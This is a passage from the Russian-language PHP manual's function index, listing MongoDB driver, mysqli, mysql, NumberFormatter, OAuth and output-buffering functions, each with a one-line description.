    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId - Возвращает идентификатор операции команды
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply - Возвращает документ ответа команды
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId - Возвращает идентификатор запроса команды
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer - Возвращает сервер, на котором была выполнена команда
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId - Возвращает идентификатор соединения с сервером для команды
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId - Возвращает идентификатор службы балансировщика нагрузки для команды
    • MongoDB\Driver\Monitoring\LogSubscriber::log - Метод уведомления для сообщения журнала
    • MongoDB\Driver\Monitoring\removeSubscriber - Отменяет глобальную регистрацию подписчика на событие мониторинга
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged - Метод уведомления об изменении описания сервера
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed - Метод уведомления о закрытии сервера
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed - Метод уведомления о неудачном heartbeat сервера
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted - Метод уведомления о запущенном heartbeat сервера
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded - Метод уведомления об успешном heartbeat сервера
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening - Метод уведомления об открытии сервера
    • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged - Метод уведомления об изменении описания топологии
    • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed - Метод уведомления о закрытии топологии
    • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening - Метод уведомления об открытии топологии
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getHost - Возвращает имя хоста сервера
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription - Возвращает новое описание сервера
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getPort - Возвращает порт, на котором прослушивается сервер
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription - Возвращает предыдущее описание сервера
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId - Возвращает идентификатор топологии, связанный с этим сервером
    • MongoDB\Driver\Monitoring\ServerClosedEvent::getHost - Возвращает имя хоста сервера
    • MongoDB\Driver\Monitoring\ServerClosedEvent::getPort - Возвращает порт, на котором прослушивается сервер
    • MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId - Возвращает идентификатор топологии, связанный с этим сервером
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros - Возвращает продолжительность heartbeat в микросекундах
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError - Возвращает исключение, связанное с неудачным выполнением heartbeat
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost - Возвращает имя хоста сервера
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort - Возвращает порт, на котором прослушивается сервер
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited - Возвращает, использовался ли в heartbeat потоковый протокол
    • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost - Возвращает имя хоста сервера
    • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort - Возвращает порт, на котором прослушивается сервер
    • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited - Возвращает, использовался ли в heartbeat потоковый протокол
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros - Возвращает продолжительность heartbeat в микросекундах
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost - Возвращает имя хоста сервера
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort - Возвращает порт, на котором прослушивается сервер
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply - Возвращает документ ответа heartbeat
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited - Возвращает, использовался ли в heartbeat потоковый протокол
    • MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost - Возвращает имя хоста сервера
    • MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort - Возвращает порт, на котором прослушивается сервер
    • MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId - Returns the topology ID associated with this server
    • MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription - Возвращает новое описание топологии
    • MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription - Возвращает предыдущее описание топологии
    • MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId - Возвращает идентификатор топологии
    • MongoDB\Driver\Monitoring\TopologyClosedEvent::getTopologyId - Возвращает идентификатор топологии
    • MongoDB\Driver\Monitoring\TopologyOpeningEvent::getTopologyId - Возвращает идентификатор топологии
    • MongoDB\Driver\Query::__construct - Создаёт новый запрос
    • MongoDB\Driver\ReadConcern::bsonSerialize - Возвращает объект для сериализации BSON
    • MongoDB\Driver\ReadConcern::getLevel - Возвращает опцию "level" ReadConcern
    • MongoDB\Driver\ReadConcern::isDefault - Проверяет, является ли гарантией чтения по умолчанию
    • MongoDB\Driver\ReadConcern::serialize - Сериализация ReadConcern
    • MongoDB\Driver\ReadConcern::unserialize - Десериализация ReadConcern
    • MongoDB\Driver\ReadConcern::__construct - Создаёт новый ReadConcern
    • MongoDB\Driver\ReadPreference::bsonSerialize - Возвращает объект сериализации BSON
    • MongoDB\Driver\ReadPreference::getHedge - Возвращает опцию "hedge" из ReadPreference
    • MongoDB\Driver\ReadPreference::getMaxStalenessSeconds - Возвращает параметр "maxStalenessSeconds" ReadPreference
    • MongoDB\Driver\ReadPreference::getMode - Возвращает параметр "mode" ReadPreference
    • MongoDB\Driver\ReadPreference::getModeString - Возвращает опцию "mode" объекта ReadPreference в виде строки
    • MongoDB\Driver\ReadPreference::getTagSets - Возвращает параметр "tagSets" ReadPreference
    • MongoDB\Driver\ReadPreference::serialize - Сериализация ReadPreference
    • MongoDB\Driver\ReadPreference::unserialize - Десериализация ReadPreference
    • MongoDB\Driver\ReadPreference::__construct - Создать новый ReadPreference
    • MongoDB\Driver\Server::executeBulkWrite - Выполнить одну или несколько операций записи на сервере
    • MongoDB\Driver\Server::executeCommand - Выполнить команду базы данных на сервере
    • MongoDB\Driver\Server::executeQuery - Выполняет запрос к базе данных на сервере
    • MongoDB\Driver\Server::executeReadCommand - Выполняет команду базы данных, которая читает на сервере
    • MongoDB\Driver\Server::executeReadWriteCommand - Выполняет команду базы данных, которая читает и пишет на сервере
    • MongoDB\Driver\Server::executeWriteCommand - Выполняет команду базы данных, которая пишет на сервере
    • MongoDB\Driver\Server::getHost - Возвращает имя хоста сервера
    • MongoDB\Driver\Server::getInfo - Возвращает массив информации, описывающий сервер
    • MongoDB\Driver\Server::getLatency - Возвращает задержку сервера в миллисекундах
    • MongoDB\Driver\Server::getPort - Возвращает порт, который слушает сервер
    • MongoDB\Driver\Server::getServerDescription - Возвращает ServerDescription сервера
    • MongoDB\Driver\Server::getTags - Возвращает массив тегов, описывающих сервер в наборе реплик
    • MongoDB\Driver\Server::getType - Возвращает целое число, обозначающее тип этого сервера
    • MongoDB\Driver\Server::isArbiter - Проверяет, является ли сервер членом-арбитром в наборе реплик
    • MongoDB\Driver\Server::isHidden - Проверяет, является ли сервер скрытым членом набора реплик
    • MongoDB\Driver\Server::isPassive - Проверяет, является ли сервер пассивным членом набора реплик
    • MongoDB\Driver\Server::isPrimary - Проверяет, является ли сервер основным членом набора реплик
    • MongoDB\Driver\Server::isSecondary - Проверяет, является ли этот сервер второстепенным членом набора реплик
    • MongoDB\Driver\Server::__construct - Создаёт новый Server (не используется)
    • MongoDB\Driver\ServerApi::bsonSerialize - Возвращает объект для сериализации BSON
    • MongoDB\Driver\ServerApi::serialize - Сериализует ServerApi
    • MongoDB\Driver\ServerApi::unserialize - Десериализует ServerApi
    • MongoDB\Driver\ServerApi::__construct - Создаёт новый экземпляр ServerApi
    • MongoDB\Driver\ServerDescription::getHelloResponse - Возвращает последний ответ сервера "hello"
    • MongoDB\Driver\ServerDescription::getHost - Возвращает имя хоста сервера
    • MongoDB\Driver\ServerDescription::getLastUpdateTime - Возвращает время последнего обновления сервера в микросекундах
    • MongoDB\Driver\ServerDescription::getPort - Возвращает порт, на котором прослушивается данный сервер
    • MongoDB\Driver\ServerDescription::getRoundTripTime - Возвращает время обхода сервера в миллисекундах
    • MongoDB\Driver\ServerDescription::getType - Возвращает строку, обозначающую тип данного сервера
    • MongoDB\Driver\Session::abortTransaction - Прерывает транзакцию
    • MongoDB\Driver\Session::advanceClusterTime - Увеличивает время кластера для сеанса
    • MongoDB\Driver\Session::advanceOperationTime - Увеличивает время операции для сеанса
    • MongoDB\Driver\Session::commitTransaction - Фиксирует транзакцию
    • MongoDB\Driver\Session::endSession - Завершает сеанс
    • MongoDB\Driver\Session::getClusterTime - Возвращает время кластера для этого сеанса
    • MongoDB\Driver\Session::getLogicalSessionId - Возвращает логический идентификатор сеанса для этого сеанса
    • MongoDB\Driver\Session::getOperationTime - Возвращает время операции для этого сеанса
    • MongoDB\Driver\Session::getServer - Возвращает сервер к которому привязана текущая сессия
    • MongoDB\Driver\Session::getTransactionOptions - Возвращает настройки текущей транзакции
    • MongoDB\Driver\Session::getTransactionState - Возвращает статус транзакции для текущей сессии
    • MongoDB\Driver\Session::isDirty - Возвращает, была ли сессия помечена как грязная
    • MongoDB\Driver\Session::isInTransaction - Определяет, происходит ли в данный момент многодокументная транзакция
    • MongoDB\Driver\Session::startTransaction - Запускает транзакцию
    • MongoDB\Driver\Session::__construct - Создаёт новый сеанс (не используется)
    • MongoDB\Driver\TopologyDescription::getServers - Возвращает серверы в топологии
    • MongoDB\Driver\TopologyDescription::getType - Возвращает строку, обозначающую тип топологии
    • MongoDB\Driver\TopologyDescription::hasReadableServer - Возвращает, есть ли в топологии сервер, доступный для чтения
    • MongoDB\Driver\TopologyDescription::hasWritableServer - Возвращает, есть ли в топологии сервер, доступный для записи
    • MongoDB\Driver\WriteConcern::bsonSerialize - Возвращает объект сериализации BSON
    • MongoDB\Driver\WriteConcern::getJournal - Возвращает опцию "journal" WriteConcern
    • MongoDB\Driver\WriteConcern::getW - Возвращает опцию "w" WriteConcern
    • MongoDB\Driver\WriteConcern::getWtimeout - Возвращает опцию "wtimeout" WriteConcern
    • MongoDB\Driver\WriteConcern::isDefault - Проверяет, является ли гарантия записи по умолчанию
    • MongoDB\Driver\WriteConcern::serialize - Сериализация WriteConcern
    • MongoDB\Driver\WriteConcern::unserialize - Десериализация WriteConcern
    • MongoDB\Driver\WriteConcern::__construct - Создать новый WriteConcern
    • MongoDB\Driver\WriteConcernError::getCode - Возвращает код ошибки WriteConcernError
    • MongoDB\Driver\WriteConcernError::getInfo - Возвращает документ метаданных для WriteConcernError
    • MongoDB\Driver\WriteConcernError::getMessage - Возвращает сообщение об ошибке WriteConcernError
    • MongoDB\Driver\WriteError::getCode - Возвращает код ошибки WriteError
    • MongoDB\Driver\WriteError::getIndex - Возвращает индекс записи, соответствующей этому WriteError
    • MongoDB\Driver\WriteError::getInfo - Возвращает документ метаданных для WriteError
    • MongoDB\Driver\WriteError::getMessage - Возвращает сообщение об ошибке WriteError
    • MongoDB\Driver\WriteResult::getDeletedCount - Возвращает количество удалённых документов
    • MongoDB\Driver\WriteResult::getInsertedCount - Возвращает количество вставленных документов (исключая слияния)
    • MongoDB\Driver\WriteResult::getMatchedCount - Возвращает количество документов, выбранных для обновления
    • MongoDB\Driver\WriteResult::getModifiedCount - Возвращает количество существующих обновлённых документов
    • MongoDB\Driver\WriteResult::getServer - Возвращает сервер, связанный с этим результатом записи
    • MongoDB\Driver\WriteResult::getUpsertedCount - Возвращает количество документов, вставленных слиянием
    • MongoDB\Driver\WriteResult::getUpsertedIds - Возвращает массив идентификаторов для объединённых документов
    • MongoDB\Driver\WriteResult::getWriteConcernError - Возвращает любую ошибку гарантий записи, которая произошла
    • MongoDB\Driver\WriteResult::getWriteErrors - Возвращает любые ошибки записи, которые произошли
    • MongoDB\Driver\WriteResult::isAcknowledged - Возвращает, была ли запись подтверждена
    • move_uploaded_file - Перемещает загруженный файл в новое место
    • mqseries_back - MQSeries MQBACK
    • mqseries_begin - MQseries MQBEGIN
    • mqseries_close - MQSeries MQCLOSE
    • mqseries_cmit - MQSeries MQCMIT
    • mqseries_conn - MQSeries MQCONN
    • mqseries_connx - MQSeries MQCONNX
    • mqseries_disc - MQSeries MQDISC
    • mqseries_get - MQSeries MQGET
    • mqseries_inq - MQSeries MQINQ
    • mqseries_open - MQSeries MQOPEN
    • mqseries_put - MQSeries MQPUT
    • mqseries_put1 - MQSeries MQPUT1
    • mqseries_set - MQSeries MQSET
    • mqseries_strerror - Получить сообщение об ошибке, соответствующее её коду (MQRC)
    • msg_get_queue - Создание или подключение к очереди сообщений
    • msg_queue_exists - Проверка существования очереди сообщений
    • msg_receive - Получение сообщения из очереди сообщений
    • msg_remove_queue - Удаление очереди сообщений
    • msg_send - Отправка сообщения в очередь сообщений
    • msg_set_queue - Установка информации в структуре данных очереди сообщений
    • msg_stat_queue - Получение информации из структуры данных очереди сообщений
    • mt_getrandmax - Показывает максимально возможное значение случайного числа
    • mt_rand - Генерирует случайное значение методом с помощью генератора простых чисел на базе Вихря Мерсенна
    • mt_srand - Инициализирует генератор случайных чисел на базе Вихря Мерсе?нна
    • MultipleIterator::attachIterator - Присоединяет итератор
    • MultipleIterator::containsIterator - Проверяет, присоединён ли итератор
    • MultipleIterator::countIterators - Получает число присоединённых итераторов
    • MultipleIterator::current - Получает зарегистрированные итераторы
    • MultipleIterator::detachIterator - Отсоединяет итератор
    • MultipleIterator::getFlags - Получает информацию о флагах
    • MultipleIterator::key - Получает зарегистрированные итераторы
    • MultipleIterator::next - Перемещает все присоединённые итераторы к своим следующим элементам
    • MultipleIterator::rewind - Возвращает в начало все присоединённые итераторы
    • MultipleIterator::setFlags - Устанавливает флаги
    • MultipleIterator::valid - Проверяет корректность подытераторов
    • MultipleIterator::__construct - Создаёт новый MultipleIterator
    • mysqli::$affected_rows - Получает число строк, затронутых предыдущей операцией MySQL
    • mysqli::$client_info - Получает информацию о клиенте MySQL
    • mysqli::$client_version - Возвращает информацию о клиенте MySQL в виде строки
    • mysqli::$connect_errno - Возвращает код ошибки последней попытки соединения
    • mysqli::$connect_error - Возвращает описание последней ошибки подключения
    • mysqli::$errno - Возвращает код ошибки последнего вызова функции
    • mysqli::$error - Возвращает строку с описанием последней ошибки
    • mysqli::$error_list - Возвращает список ошибок выполнения последней запущенной команды
    • mysqli::$field_count - Возвращает число столбцов, затронутых последним запросом
    • mysqli::$host_info - Возвращает строку, содержащую тип используемого соединения
    • mysqli::$info - Извлекает информацию о последнем выполненном запросе
    • mysqli::$insert_id - Возвращает значение, созданное для столбца AUTO_INCREMENT последним запросом
    • mysqli::$protocol_version - Возвращает версию используемого MySQL протокола
    • mysqli::$server_info - Возвращает версию MySQL сервера
    • mysqli::$server_version - Возвращает версию сервера MySQL, представленную в виде integer
    • mysqli::$sqlstate - Возвращает код состояния SQLSTATE последней MySQL операции
    • mysqli::$thread_id - Возвращает ID процесса текущего подключения
    • mysqli::$warning_count - Возвращает количество предупреждений из последнего запроса заданного подключения
    • mysqli::autocommit - Включает или отключает автоматическую фиксацию изменений базы данных
    • mysqli::begin_transaction - Стартует транзакцию
    • mysqli::change_user - Позволяет сменить пользователя подключённого к базе данных
    • mysqli::character_set_name - Возвращает текущую кодировку, установленную для соединения с БД
    • mysqli::close - Закрывает ранее открытое соединение с базой данных
    • mysqli::commit - Фиксирует текущую транзакцию
    • mysqli::debug - Выполняет процедуры отладки
    • mysqli::dump_debug_info - Журналирование отладочной информации
    • mysqli::escape_string - Псевдоним функции mysqli_real_escape_string
    • mysqli::execute_query - Подготавливает, связывает параметры и выполняет SQL-запрос
    • mysqli::get_charset - Возвращает объект, описывающий кодировку
    • mysqli::get_connection_stats - Возвращает статистику соединения с клиентом
    • mysqli::get_warnings - Получает результат SHOW WARNINGS
    • mysqli::init - Инициализирует MySQLi и возвращает объект для использования в функции mysqli_real_connect()
    • mysqli::kill - Запрос для сервера завершить выполнение процесса MySQL
    • mysqli::more_results - Проверка, есть ли ещё результаты в мультизапросе
    • mysqli::multi_query - Выполняет один или несколько запросов к базе данных
    • mysqli::next_result - Подготовка следующего доступного результирующего набора из multi_query
    • mysqli::options - Установка настроек
    • mysqli::ping - Проверяет работоспособность соединения или пытается переподключиться, если соединение разорвано
    • mysqli::poll - Опрашивает подключения
    • mysqli::prepare - Подготавливает SQL выражение к выполнению
    • mysqli::query - Выполняет запрос к базе данных
    • mysqli::real_connect - Устанавливает соединение с сервером mysql
    • mysqli::real_escape_string - Экранирует специальные символы в строке для использования в SQL-выражении, используя текущий набор символов соединения
    • mysqli::real_query - Выполнение SQL запроса
    • mysqli::reap_async_query - Получение результата асинхронного запроса
    • mysqli::refresh - Обновление
    • mysqli::release_savepoint - Удаляет именованную точку сохранения из списка точек сохранения текущей транзакции
    • mysqli::rollback - Откат текущей транзакции
    • mysqli::savepoint - Установите именованную точку сохранения транзакции
    • mysqli::select_db - Устанавливает базу данных для выполняемых запросов
    • mysqli::set_charset - Задаёт набор символов
    • mysqli::set_opt - Псевдоним mysqli_options
    • mysqli::ssl_set - Используется для установления безопасных соединений, используя SSL
    • mysqli::stat - Получение информации о текущем состоянии системы
    • mysqli::stmt_init - Инициализирует запрос и возвращает объект для использования в mysqli_stmt_prepare
    • mysqli::store_result - Передаёт на клиента результирующий набор последнего запроса
    • mysqli::thread_safe - Показывает, безопасна ли работа с процессами
    • mysqli::use_result - Готовит результирующий набор на сервере к использованию
    • mysqli::__construct - Устанавливает новое соединение с сервером MySQL
    • mysqli_connect - Псевдоним mysqli::__construct
    • mysqli_driver::$report_mode - Устанавливает режим отчёта об ошибках mysqli
    • mysqli_driver::embedded_server_end - Останавливает встроенный сервер
    • mysqli_driver::embedded_server_start - Инициализирует и запускает встроенный сервер
    • mysqli_execute - Псевдоним mysqli_stmt_execute
    • mysqli_get_client_stats - Получить клиентскую попроцессную статистику
    • mysqli_get_links_stats - Возвращает информацию об открытых и закешированных соединениях MySQL
    • mysqli_report - Псевдоним mysqli_driver->report_mode
    • mysqli_result::$current_field - Получает смещение указателя по отношению к текущему полю
    • mysqli_result::$field_count - Получает количество полей в наборе результатов
    • mysqli_result::$lengths - Возвращает длины полей текущей строки результирующего набора
    • mysqli_result::$num_rows - Получает количество строк в наборе результатов
    • mysqli_result::data_seek - Перемещает указатель результата на выбранную строку
    • mysqli_result::fetch_all - Выбирает все строки из результирующего набора и помещает их в ассоциативный массив, обычный массив или в оба
    • mysqli_result::fetch_array - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба
    • mysqli_result::fetch_assoc - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив
    • mysqli_result::fetch_column - Получает один столбец из следующей строки набора результатов
    • mysqli_result::fetch_field - Возвращает следующее поле результирующего набора
    • mysqli_result::fetch_fields - Возвращает массив объектов, которые представляют поля результирующего набора
    • mysqli_result::fetch_field_direct - Получает метаданные конкретного поля
    • mysqli_result::fetch_object - Выбирает следующую строку из набора результатов в виде объекта
    • mysqli_result::fetch_row - Выбирает следующую строку из набора результатов и помещает её в обычный массив
    • mysqli_result::field_seek - Устанавливает указатель результата на заданное смещение поля
    • mysqli_result::free - Освобождает память, занятую результатами запроса
    • mysqli_result::getIterator - Извлекает внешний итератор
    • mysqli_result::__construct - Конструктор объекта mysqli_result
    • mysqli_sql_exception::getSqlState - Возвращает код ошибки SQLSTATE
    • mysqli_stmt::$affected_rows - Возвращает общее количество строк, изменённых, удалённых, вставленных или сопоставленных последним выполненным выражением
    • mysqli_stmt::$errno - Возвращает код ошибки выполнения последнего запроса
    • mysqli_stmt::$error - Возвращает строку с пояснением последней ошибки при выполнении запроса
    • mysqli_stmt::$error_list - Возвращает список ошибок выполнения последнего запроса
    • mysqli_stmt::$field_count - Возвращает число столбцов в заданном выражении
    • mysqli_stmt::$insert_id - Получает ID, сгенерированный предыдущей операцией INSERT
    • mysqli_stmt::$num_rows - Возвращает количество строк, полученных с сервера
    • mysqli_stmt::$param_count - Возвращает количество параметров в запросе
    • mysqli_stmt::$sqlstate - Возвращает код ошибки SQLSTATE, вызванной в ходе выполнения последней операции над запросом
    • mysqli_stmt::attr_get - Получает текущее значение атрибута запроса
    • mysqli_stmt::attr_set - Изменяет поведение подготовленного запроса
    • mysqli_stmt::bind_param - Привязка переменных к параметрам подготавливаемого запроса
    • mysqli_stmt::bind_result - Привязка переменных к подготовленному запросу для размещения результата
    • mysqli_stmt::close - Закрывает подготовленный запрос
    • mysqli_stmt::data_seek - Корректирует указатель результата на произвольную строку в буферизованном результате
    • mysqli_stmt::execute - Выполняет подготовленное утверждение
    • mysqli_stmt::fetch - Связывает результаты подготовленного выражения с переменными
    • mysqli_stmt::free_result - Освобождает память от результата запроса, указанного дескриптором
    • mysqli_stmt::get_result - Получает результат из подготовленного запроса в виде объекта mysqli_result
    • mysqli_stmt::get_warnings - Получает результат от SHOW WARNINGS
    • mysqli_stmt::more_results - Проверяет, есть ли ещё наборы строк в результате мультизапроса
    • mysqli_stmt::next_result - Читает следующий набор строк из мультизапроса
    • mysqli_stmt::prepare - Подготавливает утверждение SQL к выполнению
    • mysqli_stmt::reset - Сбрасывает результаты выполнения подготовленного запроса
    • mysqli_stmt::result_metadata - Возвращает метаданные результирующей таблицы подготавливаемого запроса
    • mysqli_stmt::send_long_data - Отправка данных блоками
    • mysqli_stmt::store_result - Сохраняет набор результатов во внутреннем буфере
    • mysqli_stmt::__construct - Конструктор для объекта mysqli_stmt
    • mysqli_warning::next - Получает следующее предупреждение
    • mysqli_warning::__construct - Закрытый конструктор для запрета прямого создания экземпляра
    • mysql_affected_rows - Возвращает число затронутых прошлой операцией рядов
    • mysql_client_encoding - Возвращает кодировку соединения
    • mysql_close - Закрывает соединение с сервером MySQL
    • mysql_connect - Открывает соединение с сервером MySQL
    • mysql_create_db - Создаёт базу данных MySQL
    • mysql_data_seek - Перемещает внутренний указатель в результате запроса
    • mysql_db_name - Возвращает название базы данных из вызова к mysql_list_dbs
    • mysql_db_query - Переключается на указанную базу данных и посылает запрос
    • mysql_drop_db - Уничтожает базу данных MySQL
    • mysql_errno - Возвращает численный код ошибки выполнения последней операции с MySQL
    • mysql_error - Возвращает текст ошибки последней операции с MySQL
    • mysql_escape_string - Экранирует строку для использования в mysql_query
    • mysql_fetch_array - Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба
    • mysql_fetch_assoc - Возвращает ряд результата запроса в качестве ассоциативного массива
    • mysql_fetch_field - Возвращает информацию о колонке из результата запроса в виде объекта
    • mysql_fetch_lengths - Возвращает длину каждого поля в результате
    • mysql_fetch_object - Обрабатывает ряд результата запроса и возвращает объект
    • mysql_fetch_row - Обрабатывает ряд результата запроса и возвращает массив с числовыми индексами
    • mysql_field_flags - Возвращает флаги, связанные с указанным полем результата запроса
    • mysql_field_len - Возвращает длину указанного поля
    • mysql_field_name - Возвращает название указанной колонки результата запроса
    • mysql_field_seek - Устанавливает внутренний указатель результата на переданное смещение поля
    • mysql_field_table - Возвращает название таблицы, которой принадлежит указанное поле
    • mysql_field_type - Возвращает тип указанного поля из результата запроса
    • mysql_free_result - Освобождает память от результата запроса
    • mysql_get_client_info - Возвращает данные о MySQL-клиенте
    • mysql_get_host_info - Возвращает информацию о соединении с MySQL
    • mysql_get_proto_info - Возвращает информацию о протоколе MySQL
    • mysql_get_server_info - Возвращает информацию о сервере MySQL
    • mysql_info - Возвращает информацию о последнем запросе
    • mysql_insert_id - Возвращает идентификатор, сгенерированный при последнем INSERT-запросе
    • mysql_list_dbs - Возвращает список баз данных, доступных на сервере
    • mysql_list_fields - Возвращает список колонок таблицы
    • mysql_list_processes - Возвращает список процессов MySQL
    • mysql_list_tables - Возвращает список таблиц базы данных MySQL
    • mysql_num_fields - Возвращает количество полей результата запроса
    • mysql_num_rows - Возвращает количество рядов результата запроса
    • mysql_pconnect - Устанавливает постоянное соединение с сервером MySQL
    • mysql_ping - Проверяет соединение с сервером и пересоединяется при необходимости
    • mysql_query - Посылает запрос MySQL
    • mysql_real_escape_string - Экранирует специальные символы в строках для использования в выражениях SQL
    • mysql_result - Возвращает данные результата запроса
    • mysql_select_db - Выбирает базу данных MySQL
    • mysql_set_charset - Устанавливает кодировку клиента
    • mysql_stat - Возвращает текущий статус сервера
    • mysql_tablename - Возвращает имя таблицы, содержащей указанное поле
    • mysql_thread_id - Возвращает идентификатор текущего потока
    • mysql_unbuffered_query - Посылает запрос MySQL без авто-обработки результата и его буферизации
    • mysql_xdevapi\Client::close - Закрытие клиента
  • n
    • natcasesort - Сортирует массив алгоритмом естественной сортировки (natural order) без учёта регистра символов
    • natsort - Сортирует массив, для чего использует алгоритм «естественной сортировки»
    • net_get_interfaces - Получает сетевые интерфейсы
    • next - Сдвигает внутренний указатель массива на одну позицию вперёд
    • ngettext - Версия gettext для сообщений во множественном числе
    • nl2br - Вставляет HTML-код разрыва строки перед каждым переводом строки
    • nl_langinfo - Возвращает информацию о языке и локали
    • NoRewindIterator::current - Получает текущее значение
    • NoRewindIterator::key - Получает текущий ключ
    • NoRewindIterator::next - Перемещает итератор к следующему элементу
    • NoRewindIterator::rewind - Предотвращает возврат внутреннего итератора в начало
    • NoRewindIterator::valid - Проверяет итератор
    • NoRewindIterator::__construct - Создаёт новый объект NoRewindIterator
    • Normalizer::getRawDecomposition - Извлекает свойство Decomposition_Mapping для заданного символа UTF-8
    • Normalizer::isNormalized - Проверить, соответствует ли переданная строка заданной форме нормализации
    • Normalizer::normalize - Нормализация строки
    • NumberFormatter::create - Создаёт средство форматирования чисел
    • NumberFormatter::format - Форматирует число
    • NumberFormatter::formatCurrency - Форматирует значение валюты
    • NumberFormatter::getAttribute - Получает атрибут
    • NumberFormatter::getErrorCode - Получает последний код ошибки средства форматирования
    • NumberFormatter::getErrorMessage - Получает последнее сообщение об ошибке средства форматирования
    • NumberFormatter::getLocale - Получает локаль средства форматирования
    • NumberFormatter::getPattern - Получает шаблон средства форматирования
    • NumberFormatter::getSymbol - Получает значение символа
    • NumberFormatter::getTextAttribute - Получает текстовый атрибут
    • NumberFormatter::parse - Разбирает число
    • NumberFormatter::parseCurrency - Разбирает номер валюты
    • NumberFormatter::setAttribute - Устанавливает атрибут
    • NumberFormatter::setPattern - Устанавливает шаблон средства форматирования
    • NumberFormatter::setSymbol - Устанавливает значение символа
    • NumberFormatter::setTextAttribute - Устанавливает текстовый атрибут
    • number_format - Форматирует число с группировкой классов многозначного числа
  • o
    • OAuth::disableDebug - Выключить подробную отладочную информацию
    • OAuth::disableRedirects - Выключить переадресацию
    • OAuth::disableSSLChecks - Выключить SSL проверки
    • OAuth::enableDebug - Включить подробную отладочную информацию
    • OAuth::enableRedirects - Включить переадресацию
    • OAuth::enableSSLChecks - Включить проверки SSL
    • OAuth::fetch - Извлечь защищённый ресурс OAuth
    • OAuth::generateSignature - Сгенерировать подпись
    • OAuth::getAccessToken - Получить токен доступа
    • OAuth::getCAPath - Получить информацию CA
    • OAuth::getLastResponse - Получить последний ответ
    • OAuth::getLastResponseHeaders - Получить заголовки последнего ответа
    • OAuth::getLastResponseInfo - Получить HTTP-информацию о последнем ответе
    • OAuth::getRequestHeader - Сгенерировать подпись заголовка OAuth
    • OAuth::getRequestToken - Извлечь токен запроса
    • OAuth::setAuthType - Установить тип авторизации
    • OAuth::setCAPath - Установить CA для пути и информации
    • OAuth::setNonce - Установить nonce для последующих запросов
    • OAuth::setRequestEngine - Используется для setRequestEngine
    • OAuth::setRSACertificate - Установить сертификат RSA
    • OAuth::setSSLChecks - Производить определённые проверки SSL для запроса
    • OAuth::setTimestamp - Установить метку времени
    • OAuth::setToken - Задать токен и его пароль
    • OAuth::setVersion - Установить версию OAuth
    • OAuth::__construct - Создаёт новый объект OAuth
    • OAuth::__destruct - Деструктор
    • OAuthProvider::addRequiredParameter - Добавить необходимые параметры
    • OAuthProvider::callconsumerHandler - Вызвать callback-функцию consumerNonceHandler
    • OAuthProvider::callTimestampNonceHandler - Вызвать callback-функцию timestampNonceHandler
    • OAuthProvider::calltokenHandler - Вызвать callback-функцию tokenNonceHandler
    • OAuthProvider::checkOAuthRequest - Проверка запроса oauth
    • OAuthProvider::consumerHandler - Установить обработчик consumerHandler
    • OAuthProvider::generateToken - Генерация случайного токена
    • OAuthProvider::is2LeggedEndpoint - is2LeggedEndpoint
    • OAuthProvider::isRequestTokenEndpoint - Установка isRequestTokenEndpoint
    • OAuthProvider::removeRequiredParameter - Удалить требуемый параметр
    • OAuthProvider::reportProblem - Сообщить о проблеме
    • OAuthProvider::setParam - Установить параметр
    • OAuthProvider::setRequestTokenPath - Установить путь запроса токена
    • OAuthProvider::timestampNonceHandler - Установить обработчик timestampNonceHandler
    • OAuthProvider::tokenHandler - Установить обработчик tokenHandler
    • OAuthProvider::__construct - Конструктор класса OAuthProvider
    • oauth_get_sbs - Создать базовую строку подписи (Signature Base String)
    • oauth_urlencode - Кодирует URI в соответствии с RFC 3986
    • ob_clean - Очищает (стирает) содержимое активного буфера вывода
    • ob_end_clean - Очищает (стирает) содержимое активного буфера вывода и отключает его
    • ob_end_flush - Сбрасывает (отправляет) возвращаемое значение активного обработчика вывода и отключает активный буфер вывода
    • ob_flush - Сбрасывает (отправляет) возвращённое активным обработчиком вывода значение
    • ob_get_clean - Получает содержимое активного буфера вывода и выключает буфер
